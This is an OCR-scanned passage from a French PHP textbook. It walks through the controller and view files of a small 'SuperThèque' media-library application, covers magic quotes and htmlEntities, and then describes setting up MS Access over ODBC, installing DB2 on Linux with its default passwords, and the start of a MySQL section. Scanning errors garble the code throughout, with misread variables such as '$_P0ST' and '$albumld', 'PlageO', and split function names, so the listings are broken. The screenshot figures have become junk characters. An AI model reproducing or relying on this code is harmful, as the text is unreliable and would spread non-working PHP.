Listing 10.17 : index.php (extrait) 

if ($mode == "visualisation") { 

// Visual iser 1 'article (ou album) specifie (ou celui par defaut) 
$article = $supertheque->getArticle($filtre->getAlbumId()) ; 
if ($supertheque->isAlbum($article)) { 

$articles = $supertheque->getArticles($filtre, 

$plage, 
$tri); 
$nbTotalArticles = $supertheque->getNbTotalArticles($filtre) ; 
} 
} 
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Voila, nous disposons de toutes les informations necessaires a l'affichage des articles d'un 
album ou du detail d'un article. Selon le cas nous passerons done a l'une ou 1'autre des vues 

Listing 10.18 : index.php (extrait) 

if ($mode == "visualisation") 
{ 

if ($supertheque->isAlbum($article)) { 

include_once("vues/SuperTheque_VueVisualisation_inc.php") ; 
} else { 

include_once("vues/SuperTheque_VueDetail_inc.php") ; 



Nous sommes quasiment prets a passer aux aspects relatifs au rendu visuel de notre application. 
Reste toutefois le cas de l'ajout d'un article dans la base. 

Mode = ajout 

L' application proposera un lien permettant de passer du mode visualisation au mode ajout dans 
lequel l'affichage des articles est remplace par l'affichage d'un formulaire permettant la saisie 
des donnees relatives au nouvel article. 

Ce mode se resume (du point de vue du controleur) done a : 

Listing 10.19 : index.php (extrait) 

if ($mode == "ajout") 
{ 

include_once("vues/SuperTheque_VueAjout_inc.php") ; 



Mode = sauver 

Une fois les donnees du formulaire soumises, il faut les recuperer et les valider. 

Nous aurons un champ cache precisant a quel album doit etre rattache le nouvel article. Le 
champ titre est obligatoire. A chaque erreur detectee un tableau $erreurs sera alimente. Si 
aucune erreur n'a ete detectee alors il sera possible d'ajouter l'article dans la base, sinon la page 
contenant le formulaire sera affiche de nouveau avec les messages d'erreur simplement en 
passant du mode sauver au mode ajout. 

Listing 10.20 : index.php (extrait) 

if ($mode == "sauver") { 

// Ajouter le nouvel article a 1 'album $albumld 

$albumld = $_P0ST["albumId"] ; 

// Verifions tout de meme que l'article $albumld est bien un album 

$album = $supertheque->getArticle($albumId) ; 

if (!$supertheque->isAlbum($album)) { 
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$erreurs[] = "L'article s&eactue;léctionné n'est pas". 
" un album!"; 

} 

// Verifions que le champ titre a ete selectionne 

$titre = $_POST["titre"]; 

if ((!isset($titre))||(strlen($titre)==0)) { 

$erreurs[] = "Le titre ne doit pas être vide."; 

} 

$typeld = $_POST["typeId"]; 

if (count($erreurs)>0) 

{ 

// Au moins une erreur a ete detectee alors on ne 
// sauvegarde plus, on revient a la page d'ajout. 
$mode = "ajout"; 
} else { 

$supertheque->addArticle($albumId, 

stri pSl ashes ($_POST["ti tre"] ) , 
$_POST["typeId"], 

stri pSl ashes ($_POST["commentai re"] ) ) ; 
// Une fois sauvegarde on repasse en mode visualisation 
header ("Location: ?mode=visualisation") ; 
die(); 
} 
} 

Ce bout de code amene a une remarque tres importante liee a l'utilisation de stripslashes ( ) . 

Magic quotes 

Par defaut, PHP est configure avec l'option magic _quotes activee, ce qui signifie que les valeurs 
passees par formulaire sont traitees pour ajouter un anti-slash devant les apostrophes. II faut 
done en tenir compte (afin de le supprimer), notamment, ici, lors de l'appel a la methode 
d'ajout d'un article pour les champs de type texte (titre et commentaire). La valeur passee a la 

methode addArticleO n'est done pas $_POST[ "commentaire" ], mais 

stripSlashes ( $_POST [ " commentaire " ] ) . 

La totale 

Voici done l'implementation complete du controleur: 

Listing 10.21 : index.php 

<?php 

i nclude_once("cl asses/Art icle_cl ass. php") ; 

include_once("classes/Fil tre_class.php") ; 

include_once("classes/Tri_class.php") ; 

include_once("classes/Plage_class.php") ; 

i ncl ude_once ( "cl asses/SuperTheque_cl ass .php") ; 

include_once("config/supertheque_cfg.php") ; 

include_once("classes/Ressource" .$ressource. "_class.php") ; 
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session_start() ; 

$supertheque = new SuperTheque(new Ressource()) ; 

// Lecture des informations stockee en session 

// ou initialisation si necessaire 

// 

if (isset($_SESSION["filtre"])) { 

$filtre = $_SESSION["filtre"]; 
} else { 

$filtre = new Fil tre() ; 

$filtre->setAlbumId(0); 

$filtre->setTitre("") ; 

$filtre->setTypeId(-l); 

$_SESSION["filtre"] = $filtre; 
} 
if (isset($_SESSION["plage"])) { 

$plage = $_SESSION["plage"] ; 
} else { 

$plage = new PlageO; 

$plage->setPremierArticle(0) ; 

$pl age->setNbArti cl eMax($nbArti cl eMax) ; 

$_SESSION["plage"] = $plage; 

} 

if (isset($_SESSION["tri"])) { 

$tri = $_SESSION["tri"]; 
} else { 

$tri = new Tri () ; 

$tri ->setChamp("titre") ; 

$tri->setSens(l) ; 

$ SESSION["tri"] = $tri; 



// 

// Que veux le visiteur ? 

// 

if (isset($_POST["mode"])) { 
$mode = $_P0ST["mode"] ; 

} else if (isset($_GET["mode"])) 
$mode = $_GET["mode"]; 

} else { 

$mode = "visualisation"; 



if ($mode == "article") { 

// 

// Quel article (ou album) devra etre affiche ? 

// 

if (isset($ POST["articleId"])) { 
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$articleld = $_POST["articleId"] ; 
} else if (isset($_GET["articleId"])) { 

$articleld = $_GET["articleId"] ; 
} else { 

$articleld = 0; 
} 

// Modification des parametres de filtrage 
$album = $supertheque->getArticle($articleId) ; 
$filtre->setAlbumId($articleId); 
$_SESSI0N ["filtre"] = $filtre; 

// Si 1'on passe d'un album a un autre 

// mieux vaut aller au premier article de 1 'album 

if ($supertheque->isAlbum($album)) { 

$plage->setPremierArticle(0) ; 

$_SESSION["plage"] = $plage; 

} 

// Passage en mode visualisation (avec le nouveau filtre) 

header ("Location: ?mode=visualisation") ; 

die(); 



} 



if ($mode == "filtre") { 

// Modification des parametres de filtrage 

$f i 1 tre->setTi tre ($_P0ST["f i 1 tre_ti tre"] ) ; 

$f i 1 tre->setTypeId ($_P0ST ["f i 1 tre_typeld"] ) ; 

$_SESSION["filtre"] = $filtre; 

// Passage en mode visualisation (avec le nouveau filtre) 

header ("Location: ?mode=visualisation") ; 

die(); 
} 

if ($mode == "tri") { 

// Modification des parametres de tri 

$tri->setChamp($_GET["tri_champ"]) ; 

$tri->setSens($_GET["tri_sens"]); 

$_SESSION["tri"] = $tri ; 

// Passage en mode visualisation (avec le nouveau tri) 

header ("Location: ?mode=visualisation") ; 

die(); 
} 

if ($mode == "suivants") { 

// Modification de la plage de selection 

$plage->setPremierArticle($plage->getPremierArticle() + 

SnbArticleMax) ; 

$_SESSION["plage"] = $plage; 

// Passage en mode visualisation 

header ("Location: ?mode=visualisation") ; 

die(); 
} 
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if ($mode == "precedents") { 

// Modification de la plage de selection 

$pl age->setPremi erArti cl e ($pl age->getPremi erArti cl e() - 

$nbArticleMax) ; 

$_SESSION["plage"] = $plage; 

// Passage en mode visualisation 

header ("Location: ?mode=visualisation") ; 

die(); 
} 



if ($mode == "sauver") { 

// Ajouter le nouvel article a 1 'album $albumld 

$albumld = $_POST["albumId"] ; 

// Verifions tout de meme que 1 'article $albumld est bien un album 

$album = $supertheque->getArticle($albumId) ; 

if (!$supertheque->isAlbum($album)) { 

$erreurs[] = "L'article s&eactue;léctionné n'est pas" 
" un album!"; 

} 

// Verifions que le champ titre a ete selectionne 

$titre = $_P0ST ["titre"]; 

if ((!isset($titre)) | | (strlen($titre)==0)) { 

$erreurs[] = "Le titre ne doit pas être vide."; 
} 
$typeld = $_POST["typeId"]; 

if (count($erreurs)>0) 

{ 

// Au moins une erreur a ete detectee alors on ne 
// sauvegarde plus, on revient a la page d'ajout. 
$mode = "ajout"; 
} else { 

$supertheque->addArticle($albumId, 

stri pSl ashes ($_P0ST[" ti tre"] ) , 

$_POST["typeId"], 

stri pSl ashes ($_P0ST ["commentai re"] ) ) ; 
// Une fois sauvegarde on repasse en mode visualisation 
header ("Location: ?mode=visualisation") ; 
die(); 



} 

if ($mode == "visualisation") { 

// Visual iser l'article (ou album) specifie (ou celui par defaut) 
$article = $supertheque->getArticle($filtre->getAlbumId()) ; 
if ($supertheque->isAlbum($article)) { 

// S'il s'agit d'un album voici ce que nous devons faire 

// 

// Creation du Filtre 
// 
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$articles = $supertheque->getArticles($filtre, 

$plage, 
$tri); 
$nbTotalArticles = $supertheque->getNbTotalArticles($filtre) ; 
} 
} 

// Pour 1 'affichage, nous aurons besoin de connaitre les noms 
// des differents types existants 
$types = $supertheque->getTypes(); 

// 

// Affichage 

// — - 

include_once("entete_inc.php") ; 
if ($mode == "visualisation") 

{ 

if ($supertheque->isAlbum($article)) { 

include_once("vues/SuperTheque_VueVisualisation_inc.php") ; 
} else { 

include_once("vues/SuperTheque_VueDetail_inc.php") ; 

} 
} else if ($mode == "ajout") 

{ 

i ncl ude_once ( " vues/SuperTheque_VueAjout_i nc . php" ) ; 



include_once("pieddepage_inc.php") ; 
?> 

Vous y retrouvez l'ensemble des lignes de code precedent. Les seules lignes passees sous silence 
jusque la, sont celles permettant de recuperer dans un tableau associatif $types les noms des 
differents types (d'article) disponibles. 

Listing 10.22 : index.php (extrait) 

// Pour 1 'affichage, nous aurons besoin de connaitre les noms 
// des differents types existants 
$types = $supertheque->getTypes() ; 

Et celles relatives a la mise en page 
include_once("entete_inc.php") ; 
et 

include_once("pieddepage_inc.php") ; 
que nous aborderons des le chapitre suivant. 
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Les vues 



Une fois le traitement opere (c'est a dire, une fois les donnees mises a jour ou recuperees) il est 
possible de passer a l'affichage de la vue. 

Comme nous l'avons vu, cette application dispose de trois ecrans differents : 

L'affichage de la liste des articles (mode visualisation d'un album) 
L'affichage des details d'un article (mode visualisation d'un article) 
■ La page d'ajout d'un nouvel article. 

Toutefois, toutes trois auront globalement la meme mise en page. Nous voulons dire par-la, 
quelles auront toutes le meme bandeau superieur, le meme menu gauche et ou droit, et 
eventuellement un bandeau inferieur. Afin d'eviter de dupliquer du code, il suffit de creer un 
fichier que nous appellerons entete_inc .php decrivant le bandeau superieur et 
eventuellement le menu gauche et un autre decrivant le menu droit et eventuellement le 
bandeau inferieur appele pieddepage_inc .php 

Le squelette du fichier d'en-tete est le suivant : 
Listing 10.23 : entetejnc.php (squelette) 

<html> 

<body> 

<table> 

<trxtd colspan="3"><!-- Entete proprement dit ~x/tdx/tr> 

<trxtd><!-- Menu Gauche--x/tdxtd> 

alors que le pied de page a Failure suivante : 

Listing 10.24 : pieddepagejnc.php (squelette) 

</tdxtdx!-- Menu droit --x/tdx/tr> 

<trxtd colspan="3"x!-- Pied de page proprement dit --x/tdx/tr> 

</body> 

</html> 

II n'y a plus qu'a mettre la page principale entre ces deux fichiers. C'est ce que le controleur 
realise en effectuant les differents include relatifs a la vue. 



Vue liste des articles 

Pour rappel, a Tissue du traitement du controleur nous disposons des variables suivantes: 
$article, qui contient les informations relatives a l'article selectionne. 
$articles, qui contient la liste des articles (filtres, tries et extraits) de l'album selectionne 
$nbTotalArticles, qui contient le nombre total d'articles repondant aux criteres de filtrage. 
$types, qui contient la liste des types disponibles. 
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mais aussi a tout moment de $plage, $f iltre et $tri. 

A la base, ce qu'il nous faut c'est afficher le contenu du tableau $articles ce qui se fait 
aisement via une boucle foreach($articles as $articieListe). Mais il faut egalement: 

proposer les liens permettant de modifier l'ordre de tri 

integrer un formulaire pour la saisie des criteres de filtrage. Ce dernier necessite 1'affiche 
dans une liste de selection des differents types disponibles d'ou la boucle f oreach ( $ types 
as $cle=>$type) . 

proposer des liens permettant d'acceder au detail d'un article (ou au contenu d'un album) 

proposer si necessaire des liens pour afficher la page precedente et/ou la page suivante. La 
decision se fera en fonction des valeurs de $tri->premierArticle( ) et 

$nbTotalArticles 

proposer si necessaire un lien pour revenir a l'album pere (si nous ne sommes pas a l'album 
racine) 

■ proposer un lien pour aj outer un article 

Listing 10.25 : SuperTheque_VueVisualisation_inc.php 

<form action="" method="post"> 
<table width="100%"> 
<tr> 
<th> 
<a href="?mode=tri&tri_champ=titre&tri_sens=-l">-</a> 
Titre 

<a href="?mode=tri&tri_champ=titre&tri_sens=l">+</a> 
</th> 
<th> 
<a href="?mode=tri&tri_champ=typeId&tri_sens=-l">-</a> 
Type 

<a href="?mode=tri&tri_champ=typeId&tri_sens=l">+</a> 
</th> 
</tr> 
<tr> 
<td> 
<input type="hidden" name="mode" value="filtre" /> 
<input type="text" name="filtre_titre" /> 
</td> 
<td> 
<select name="filtre_typeld"> 
<option value="-l">Tous</option> 
<?php 

foreach($types as $typeld=>$type) 



<option value="<?php echo $typeld;?>"x?php echo $type;?x/option> 
<?php 



?> 



</select> 
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</td> 

<td> 
<input type=" submit" value="Filtrer" /> 

</td> 
</tr> 
<tr> 

<td colspan="3"xhr /></td> 
</tr> 
<?php 

if (count($articles)>0) foreach($articles as $articleListe) 

{ 
?> 

<tr> 
<td> 

<?php echo html Entities($articleListe->getTitre()) ; ?> 
</td> 
<td> 

<?php echo $types[$articleListe->getTypeId()] ; ?> 
</td> 
<td> 
<?php 

echo "<a 

x href =\"?mode=arti cl e&arti cl eld=" . $arti cl eLi ste->get Id () . "\">" ; 
?> 

[Détails] 
</a> 
</td> 
</tr> 
<?php 

} // Fin du foreach 
?> 
</table> 
</form> 
<hr /> 

<table width="100%"> 
<tr> 
<td width="33%" align="left"> 
<?php 

if ($plage->getPremierArticle() > 0) { 
?> 

<a href="?mode=precedents"><<< Articles 
s-= précédents</a> 
<?php 
} 
?> 

</td> 

<td width="34%" align="center"> 
<?php 
if ($filtre->getAlbumId() != 0) 

{ 

// Inserer un lien pour remonter a 1 'album "pere" 
?> 
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<a href="?mode=article&articleId=<?php echo $article->getAlbumId() ; 

x ?>">[.. ]</a> 

<?php 

} 
?> 

</td> 

<td al ign="right"> 
<?php 

if ($nbTotal Articles > $plage->getPremierArticle() + 
x $plage->getNbArticleMax()) { 
?> 

<a href="?mode=suivants">Articles suivants >>></a> 
<?php 
} 
?> 

</td> 
</tr> 
</table> 
<br /> 
<center> 

<a href="?mode=ajout"> 

[Ajouter un article à cet album] 
</a> 
</center> 

Comme vous pouvez le constater, il y a tres peu de code PHP. Comme quoi, nous avons bien 
reussi a distinguer la partie traitement de la partie affichage. 

Vue ajout d'un nouvel article 

II s'agit du fichier de vue le plus complexe. En effet, cette vue ne doit pas seulement proposer 
un formulaire de saisie puisqu'elle doit egalement permettre d'afficher d'eventuels messages 
d'erreurs detectees lorsque ce formulaire est soumis et dans ce cas les valeurs precedemment 
saisies doivent etre affichees de nouveau. 

Listing 10.26 : SuperTheque_VueAjout_inc.php 

<?php 

if (count($erreurs)>0) { 

echo "<ul>"; 

foreach($erreurs as $erreur) 

{ 

echo "<li>$erreur</li>"; 

} 

echo "</ul>"; 
} 
?> 

<form action="index.php" method="post"> 
<input type="hidden" name="mode" value="sauver" /> 

<input type="hidden" name="albumld" value="<?php echo $filtre->getAlbumId() ; 
s< ?>" /> 
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<table> 
<tr> 
<td>Titre:</td> 

<tdxinput type="text" name="titre" value="<?php 
echo html Entities(stripSl ashes ($_POST["titre"])); ?>"/></td> 
</tr> 
<tr> 

<td>Type:</td> 
<td> 
<select name="typeld"> 
<?php 

foreach($types as $typeld=>$type) 

{ 
?> 

<option value="<?php echo $typeld;?>" <?php if 

x ($_POST["typeId"]==$typeId) echo "selected=\"selected\"";?»<?php 

x echo $type;?x/option> 

<?php 

} 
?> 

</select> 
</td> 
</tr> 
<tr> 
<td>Commentaire:</td> 
<td> 
<textarea name="commentaire" cols="40" rows="5"x?php 
echo html Enti ti es (stripSl ashes ($_P0ST[" comment ai re"])) ; ?></textarea> 
</td> 
</tr> 
<tr> 
<td colspan="2"> 

<i>Vous pouvez à votre guise ajouter d'autres informations</i> 
</td> 
</tr> 
<tr> 
<td colspan="2"> 

<input type="submit" value="Sauver" /> 
</td> 
</tr> 
</table> 
</form> 



Dans le cas d'une saisie invalide, il est important de restituer le formulaire a l'utilisateur dans 
1'etat ou il I'a laisse avant de valider sa saisie. Pour cela, nous devons preciser les valeurs par 
defaut (valeurs precedemment saisies) de chaque champ. Dans le cas d'un champ texte, il suffit 
de preciser l'attribut value. Ainsi nous ne nous contentons pas d'un simple <input 

type="text" name=" titre" /> mais nous preciserons <input type="text" 
name=" titre" value="<?php echo htmlEntities (stripSlashes ( $_POST [" titre" 

] ) ) ; ?>" /> (la valeur ayant ete soumise via la methode post) 
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Ceci amene d'ailleurs plusieurs remarques. 

Nous retrouvons la problematique du "magic quotes" qui implique l'utilisation de 

stripSlashes ( ) . 

htmlEntities 

Attention ! Lorsque vous specifiez un attribut value, n'oubliez pas, d'une part, de mettre la 
valeur entre guillemets (mais 5a, vous devriez deja en avoir l'habitude, sans quoi il est grand 
temps de s'y mettre !) et, d'autre part, de faire appel a htmlEntities ( ) afin, en particulier, de 
remplacer les guillemets par leurs equivalents HTML pour eviter tout conflit avec les 
guillemets delimiteurs de la chaine. 

Rappel des precedentes valeurs 

Dans le cas d'une liste de selection, il faut preciser selected pour les champs selectionnes (ce 
qui en XHTML se declare par seiected=" selected") ; dans le cas des boutons radio, il faut 
preciser checked (ce qui en XHTML se declare par checked= " checked" ) ; et, enfin, pour les 
zones de texte, il faut preciser leur contenu entre les balises <textearea> et </textarea>. 

Vue detail d'un article 

Listing 10.27 : SuperTheque_VueDetail_inc.php 

<table> 
<tr> 

<td width="10%" >Titre:</td> 

<tdxbx?php echo html Enti ti es ($arti cl e->getTi tre () ) ; ?></t»</td> 
</tr> 
<tr> 

<td>Type:</td> 

<tdx?php echo $types[$article->getTypeId()] ;?></td> 
</tr> 
<tr> 
<td>Commentaire:</td> 

<tdx?php echo nl2br (html Enti ties($article->getCommentai re ())) ;?x/td> 
</tr> 
<tr> 
<td colspan="2"> 

<i>Vous pouvez à votre guise compléter cette page pour 
x afficher d'autres informations (que vous aurez pris soin d'ajouter 
s-= après avoir complèté la page de saisie).</i> 
</td> 
</tr> 
</table> 
<br /> 
<center> 

<a href="?mode=article&articleId=<?php echo $article->getAlbumId() ;?>">Retour 
x à la liste.</a> 
</center> 
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II n'y a pas de reelles nouveautes dans ce script, seule la ligne permettant l'affichage du 
commentaire peut necessiter quelques explications. 

Retours a la ligne 

La zone de texte, definie dans le formulaire pour saisir un commentaire, nous permet de saisir 
un texte formate avec des retours a la ligne. Mais il faut garder a l'esprit que ceux-ci sont 
materialises par des '\n'. Ainsi, si une description contenant des retours a la ligne est stockee en 
base de donnees puis restituee telle quelle (echo $commentaire) dans un document HTML, 
elle perdra sa mise en page. En effet, le caractere '\n' n'est pas considere en HTML comme un 
re tour a la ligne, la balise HTML correspondante etant <br> (ou <br/> en XHTML). II faut 
done utiliser, avant affichage, la fonction nl2br ( ) . C'est done ce que nous utilisons ici. 



10.7. Access (MS) 
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Bien que Ton ne puisse pas considerer MS Access comme un veritable serveur de bases de 
donnees, c'est certainement la base de donnees la plus connue du grand public. 



Installation 

Afin de pouvoir acceder a une base de donnees Access depuis PHP, vous devez imperativement 
etablir une liaison ODBC. 

L'operation s'avere extremement simple : 
1 . Ouvrez le Panneau de configuration. 



f Panneau de configuration | 


3@S 


i Fichier Edition Affichage Favoris Outils ? 


* 


Precedente T LJ Rechercher \^. Do55ier5 


Wr 



Eu Panneau de configuration ! 



Q» Basculer vers l'affichage 
classique 



-^ Windows Update 
I Aide et support 



Choisissez une categorie 



5ons, voiH et 
perlpheriques audio 



Options 
d'accessibilite 



Figure 10.4 : Panneau de configuration 
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2. Selectionnez Performances et maintenance. 



W" Performances et maintenance 



Fichier Edition Affichage Favoris Outils 
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Ql Precedents ' {jjj £j Rechercher ^/Dossiers | \\\\\ ^ 



I'r^H Types de fichiers 
"5 Restaurer le systeme 




Figure 10.5 : Performances et maintenance 



3. Selectionnez Outils d' administration . 



^ Outils dadminist ration 



BBS 



Fichier Edition Affichage Favoris Outils ? 

Ql Precedente " ^ ^.^ Rechercher ^■Dossiers |M-| T 



Gestion des Fichiers 

£J5 Paftager ce dossier 



* 



Autres emplacements 

Q* Panneau de configuration 
Q Mes documents 
(r^i Documents partages 
rj Poste de travail 
* J Favoris reseau 




Gestion de I'ordinateur 
Raccourci 
| 2Ko 

Obssr vatsur d'e venemsr it -:- 

Raccourci 

2Ko 

[ Performances 
' Raccourci 
2Ko 

Services 
Raccourci 
*2Ko 

Services de composants 
|i Raccourci 
2Ko 

I Sources de donnees (ODBC) 
J 'H CC0LJI ' C ' 



Figure 10.6 : 

Outils d' administration 
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Voila, vous etes en passe de decouvrir le panneau d'administration de "sources de donnees 
(ODBC)". Cliquez... 



PilolesODBC Tracage | Gro'.ipemenido connexions | Apropos | 

Sources de donnees utilisafeur Sources de donnees systeme Sources de donnees ficNer 

Sources de donnees systeme : 
Norn F ilote | Ajoutej... 



Supprimer 
Configurer 



Une source de donnees systems ODBC stocke des informations su: la 
connexion du lourmsseur de donnees specific E lie est visible a tous !es 
utilisateiirs de cei o[dmateui,y compns les services NT. 



OK Annuler | 



Figure 10.7 : 

Administrateur de 
sources de donnees 
ODBC 







a- 

01 


o 


CO 

CD 


1— 


CO 


c 






a. 


^; 


CD 


CO 


a. 


ai 


o 




3 


o 


3 


3 


CD* 


a. 


CO 


CD 
CO 



5. Selectionnez 1'onglet Sources de donnees systeme puis, sans faiblir, cliquez sarAjouter. 

IJIJJIII.IJ.I.II1I.JII1IIIIIJJ.IJ.I.I.I.IJ 




ielectionne; un piloie pour iecue: yolis scuhaitez definir une souice 
le donnees. 



Norn 
Drivei 
Driver 
Driver 
Driver 
Drivei 
Diivei 



Version 



da Micr 
do Micr 
do Mic: 
do Mic; 
do Micr 



rosoft para arquivos tento [*M: ".csv) 

:rn:;.-i}£ ACCSS5 (" mriu; 

rosoft dBase f.dbf] 
rosoff Excef.xls] 
iicsoft Ka<adoK [". clb | 



oMiGiasofiVisuc! Fok?(o 




4 00.601 = 
4 00.601 S : 
4.00.601 S 
4.00.601 S 
4.00.601 S 
100.02.0l 
4.00.601 S 
4 00.601 S^ 

> 



Figure 10.8 : 

Creer une nouvelle 
source de donnees 



Nous voila au coeur du sujet. Selectionnez le pilote correspondant a votre type de base de 
donnees, en l'occurrence Microsoft Access Driver, puis cliquez sur Terminer. 

Figure 10.9 : 

Installation ODBC 
pour Microsoft Access 



Installation ODBC pour Microsoft Access 



Norn de la source de donnees : Imabase 

Description : | Lien ODBC] 

Base de donnees 



8aie de donnees : 
Geiectipnner... 



Base de donnees systeme 

(* Aucun 

C Basede donnees : 



Base de donnees systeme... 
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Vous pouvez maintenant saisir un nom pour ce lien ODBC (qui peut etre different du nom 
du fichier Access) qui servira de reference pour les futures connexions via PHP ainsi qu'un 
commentaire. Cliquez ensuite sur le bouton Selectionner.... 

Figure 10.10 : 



Norn de la source de donnees : Imabase 
Description : JLien ODBC 



Base de donnees 

Base de donnees : CAmabase.mdb 
MSeledionner...! Creer... 



2V- 1 



b c 


se de don 


ices zy 


ierne 






p 


Aucun 










r 


Basede c 


onnees 










_:;:d 


-idonnee; 


systems... 











Options» 



Installation ODBC 
pour Microsoft Access 
(suite) 



8. Vous etes alors invite a reperer le fichier de votre base de donnees dans l'arborescence de 
votre disque dur. Une fois que cela est fait, e'est bon, vous n'avez plus qu'a cliquer sur OK. 



£ '' Administrateur de sources de donnees ODBC 



Pilotes ODBC Tracage | SroupanertE de oonneKiore | A propos 

Sources de donnees utilisateur S ources de donnees systeme S ources de donnees fichier 

: .■■ <:r -lr .M'li-: ■.■ >r< r 



Microsoft Access Driver [".rndbl 



Ajouter... 



Configurer. . 



Une source de donnees systeme ODBC stocke des informations sur la 
connexion du lournisseui de donnees specific. E lie est visible a tons les 
ufilisateuts de cei otdinateui y cornpris les services NT 



OK. Annirler | Aide 



Figure 10.11 : 

Voild, c 'est fait 



9. Et voila, l'onglet Sources de donnees systeme s'est enrichi d'une nouvelle ligne. 



Utilisation 

Evidemment, les fonctions permettant d'acceder a MS Access sont celles proposees pour les 
liaisons ODBC. 



Vous etes done invite a vous reporter a la section ODBC. 



RENVOI 
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10.8. DB2 (IBM) 



DB2 est la base de donnees professionnelle du geant de l'informatique, IBM. 



Installation 

Le but de ce chapitre n'est pas de faire de vous un administrateur de base de donnees DB2. 
Non. Nous nous contenterons de decrire une installation standard, sans tenir compte des 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et DB2 
sur des machines de test pour vous familiariser avec cet environnement avant de passer a un 
serveur de bases de donnees destine a la production. 

Pre-requis 

Pour commencer, vous devez vous procurer le script d'installation. Celui-ci est disponible sur le 
site d'IBM (http://www.ibm.fr) a l'adresse http://www-5.ibm.com/fr/software/data/db2/index.html. 

Pour la version Linux, il s'agit d'un fichier db2pelnx.tar. 
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Installation du serveur de bases de donnees 

Nous supposerons ici que le serveur de bases de donnees et le serveur web tournent sur la 
meme machine. 



Sous Linux 

La premiere chose a faire consiste a decompresser l'archive dans un repertoire quelconque 
(ex. : Itmp/dbl), 

# tar xvf db2pelnx.tar 

puis a lancer le script d'installation : 

# ./db2setup 

Apparait alors le premier ecran, proposant une liste d'elements a installer : 

+ Install DB2 V7 + 



Select the products you are licensed to install. Your Proof of 
Entitlement and License Information booklet identify the products for 
which you are licensed. 

To see the preselected components or customize the selection, select 

Customize for the product. 

[*] DB2 Administration Client : Customize... : 

[*] DB2 UDB Personal Edition : Customize... : 

[*] DB2 Application Development Client : Customize... : 

To choose a language for the following components, select Customize for 
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the product. 

DB2 Product Messages 
DB2 Product Library 



[ Customize. . . ] 
[ Customize. . . ] 



[ OK ] 



[ Cancel ] 



[ Help ] 



1. Selectionnez les trois modules, puis selectionner 1'option "customize" de "db2 
Application Development client" et assurez vous de bien cocher 1'option "Create links 
for DB2 libraries". 

2. Lancez l'installation en selectionnant le bouton OK. 

3. Deux ecrans successifs apparaissent alors, vous invitant a preciser les noms et parametres 
des differents comptes DB2. Conservez les parametres par defaut et validez. 

Vous aurez alors, trois nouveaux comptes : 

db2instl associe au groupe db2iadml, avec pour repertoire /home/db2instl et mot de 
passe ibmdb2 ; 

db2fencl associe au groupe db2fadml, avec pour repertoire /home/db2fencl et mot 
de passe ibmdb2 ; 

db2as associe au groupe db2asgrp, avec pour repertoire /home/db2as et mot de passe 

ibmdb2. 

Et voila, votre base de donnees a ete installee sous /usr/IBMdb2/V7.1. 

Demarrage du serveur de bases de donnees 

A Tissue de l'installation, le serveur de bases de donnees tourne. Sachez toutefois que, si vous 
avez a lancer le serveur, cela se fait simplement a partir du compte db2 instl avec la commande 

$ db2start 
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Test du serveur de bases de donnees 

A partir du compte db2instl, vous pouvez aisement tester le bon fonctionnement du serveur 
de bases de donnees. 

En creant la base de donnees d'exemple : 

$ db2sampl 

En vous y connectant et en testant une requete : 

$ db2 connect to sample 

$ db2 "select * from staff where dept=20" 

Vous devez alors avoir quatre lignes de resultat. Vous pouvez alors vous deconnecter. 
$ db2 connect reset 

Creation d'une base 

Vous pouvez creer une base de donnees depuis le client db2. 
$db2 create database <nom de la base> 

Arret du serveur de bases de donnees 

Vous pouvez arreter le serveur de bases de donnees avec l'instruction 
$ db2stop 

Installation du client de base de donnees sur le serveur web 

Nous avons, ici, suppose que le serveur de bases de donnees tournait sur la meme machine que 
le serveur web. Nous pourrions done nous attendre a ce qu'il n'y ait rien d'autre de particulier 
a faire. 

Malheureusement, nous avons pu constater (du moins dans le cas de figure qui nous interessait) 
un leger dysfonctionnement dans la procedure d'installation. En effet, nous nous sommes 
retrouves avec un lien symbolique /usr/local/lib/libbd2.so.3 pointant sur un fichier lusrllocalllibl 
libbdl.so inexistant. Ce qui nous posait probleme lors de la compilation d'Apache. Probleme 
que nous avons simplement resolu en creant un lien symbolique du fichier /usr/db2instl/lib/ 
libdbl.so vers jusrllib, comme suit : 

# In -s /usr/db2instl/lib/libdb2.so /usr/lib 

Configuration de PHP avec support DB2 
Sous Linux 

Pour acceder a une base de donnees DB2 depuis PHP, vous n'avez qu'a recompiler PHP avec 

l'option — with-ibm-db2 = /usr/db2instl/sqllib. 
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RENVOI 



Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la fagon 
de compiler PHP. 
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Verification de l'installation 

Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ,■ ?> et 
vous devez apercevoir les lignes suivantes : 



ODBC Support 


enabled 


Active Persistent Links 





Active Links 





ODBC library 


db2 


ODBCJMCLUDE 


HAiar/dbZinstUsqllibdriclude 


ODBCJ.FLAGS 


-LAJsr/db2inst1/sqlliMJb 


ODBC_LIBS 


-ldt.2 



Directive 


Local Value 


Master Value | 


odbc allow jpersi stent 


On 


On 


odbc ,check_per3J3tent 


Or 


Dm 


odbc default_db 


no value 


no value 


odbc default _pw 


no i/dJue 


no vsJue 


o d be, defau 1 1 _u aer 


no value 


no value 


odbc defaultbinmode 


return as is 


return as is 


odbc defaultlrl 


return up to 4036 bytes 


return up to 4096 bytes 


odbc maxj inks 


Unlimited 


Unlimited 


odbc max_per3istent 


Unlimited 


Unlimited 



Figure 10.12 : phpinf o() pour DB2 

Utilisation 

Bien que n'utilisant pas une liaison ODBC, les fonctions permettant d'acceder aux bases DB2 
sont les memes que celles proposees pour les liaisons ODBC. 



Vous etes done invite a vous reporter a la section ODBC. 




RENVOI 



10.9. MySQL 



MySQL est probablement la base de donnees la plus connue des adeptes de PHP. Le fait qu'elle 
soit sous licence GPL, disponible sous differentes plateformes et, somme toute, assez complete 
et performante n'y est certainement pas pour rien. C'est tres probablement d'ailleurs la base de 
donnees que votre hebergeur vous propose (sous un environnement Linux, afin d'allier la 
performance a la limitation des frais de licence et de maintenance). 



REMARQUE 



MySQL 3 JC 

La derniere version de production de MySQL est la version 4.0. C'est done 
l'installation de cette derniere qui est decrite ici. Toutefois, il est possible que votre 
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hebergeur propose toujours la version 3 et done que vous souhaitiez installer la meme 

RFMARQLIF 

version. Rassurez-vous, la procedure d 'installation est totalement identique. 



Installation 

Nous nous contenterons ici de decrire une installation standard, sans prendre en compte les 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et 
MySQL sur des machines de test pour vous familiariser avec cet environnement avant de passer 
a un serveur de bases de donnees destine a la production. 

Pre-requis 

